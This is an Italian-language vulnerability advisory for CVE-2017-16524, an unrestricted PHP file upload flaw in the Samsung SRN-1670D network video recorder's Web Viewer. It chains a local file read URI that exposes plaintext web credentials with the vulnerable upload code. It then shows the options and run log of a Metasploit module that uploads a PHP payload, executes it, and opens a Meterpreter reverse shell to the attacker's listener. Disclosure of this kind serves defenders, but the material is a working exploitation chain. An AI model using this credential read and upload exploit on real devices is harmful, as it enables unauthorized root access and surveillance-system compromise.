realistic-security/cve-2017-16524Vulnerabilità di upload di file senza restrizioni - Web Viewer 1.0.0.193 su Samsung SRN-1670D
Omar Mezrag - 0xFFFFFF
Samsung Network Video Recorders - Web Viewer 1.0.0.193 su Samsung SRN-1670D
Hanwha / Samsung Security - https://www.hanwhasecurity.com/
Vulnerabilità di caricamento file senza restrizioni
AccessVector (AV): Network
User Interaction (UI): None
Authentication (Au): Requires single instance
Code execution (ROOT)
network_ssl_upload.php (tested)
network_802_1x1.php (suspected)
network_802_1x2.php (suspected)
Il dispositivo Web Viewer 1.0.0.193 su Samsung SRN-1670D presenta una vulnerabilità di caricamento file senza restrizioni: 'network_ssl_upload.php' consente a utenti remoti autenticati di caricare ed eseguire codice PHP arbitrario tramite un nome di file con estensione .php, a cui si accede poi tramite una richiesta diretta al file nella directory upload/. Per autenticarsi per questo attacco, si possono ottenere le credenziali dell'interfaccia web in chiaro sfruttando la vulnerabilità di lettura file locale indicata come CVE-2015-8279, che consente a utenti remoti di leggere le credenziali dell'interfaccia web tramite una richiesta all'URI:
cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw
22 $path = "./upload/";
23 $file = $_FILES[ "attachFile" ];
24 $isApply = ( int )$_POST[ "is_apply" ];
25 $isInstall = ( int )$_POST[ "isInstall" ];
26 $isCertFlag = ( int )$_POST[ "isCertFlag" ];
27
28 // create socket
29 $N_message = "";
30 $sock = mySocket_create($_is_unix_socket);
31 $connected = mySocket_connect($_is_unix_socket, $sock);
32
33 $loginInfo = new loginInfo();
34 $retLogin = loginManager( $connected, $sock, null, $loginInfo );
35 if ( ( $retLogin == true ) && ( $isApply == 2 || $isApply == 3 ) ) {
36 if ($connected) {
37 $id = $loginInfo->get_id();
38 $xmlFile = $id.'_config.xml';
39 $N_message = "dummy".nvr_command::DELIM;
40 $N_message .= "userid ".$id.nvr_command::DELIM;
41
42 if ( $isInstall == 1 ) {
43 // File upload ===============================================================
44 if ( $file[ "error" ] 0 ) {
45 $Error = "Error: ".$file[ "error" ];
46 } else {
47 $retFile = @copy( $file[ "tmp_name" ], $path.$file[ "name" ] );
48 }
49 // ===========================================================================
50 }
Modulo Metasploit: samsung_srv_1670d_upload_exec
msf exploit(samsung_srv_1670d_upload_exec) > show options
Module options (exploit/multi/http/samsung_srv_1670d_upload_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.1.200 yes The target address.
RPORT 80 yes The target port (TCP).
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.122 yes The listen address
LPORT 4358 yes The listen port
Exploit target:
Id Name
-- ----
0 Samsung SRN-1670D == 1.0.0.193
msf exploit(samsung_srv_1670d_upload_exec) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.122:4358
msf exploit(samsung_srv_1670d_upload_exec) > [*] Obtaining credentails...
[+] Credentials obtained successfully: admin:pass123!
[*] Logging...
[+] Authentication Succeeded
[*] Generating payload[ eRdGKfFJ.php ]...
[*] Uploading payload...
[*] Executing payload...
[*] Sending stage (33986 bytes) to 192.168.1.200
[*] Meterpreter session 3 opened (192.168.1.122:4358 -> 192.168.1.200:55676) at 2017-06-19 11:52:22 +0100
Probabilmente anche altri script come 'network_802_1x1.php' e 'network_802_1x2.php' sono affetti dalla stessa vulnerabilità ma non li ho testati.
CVE-2015-8279: http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html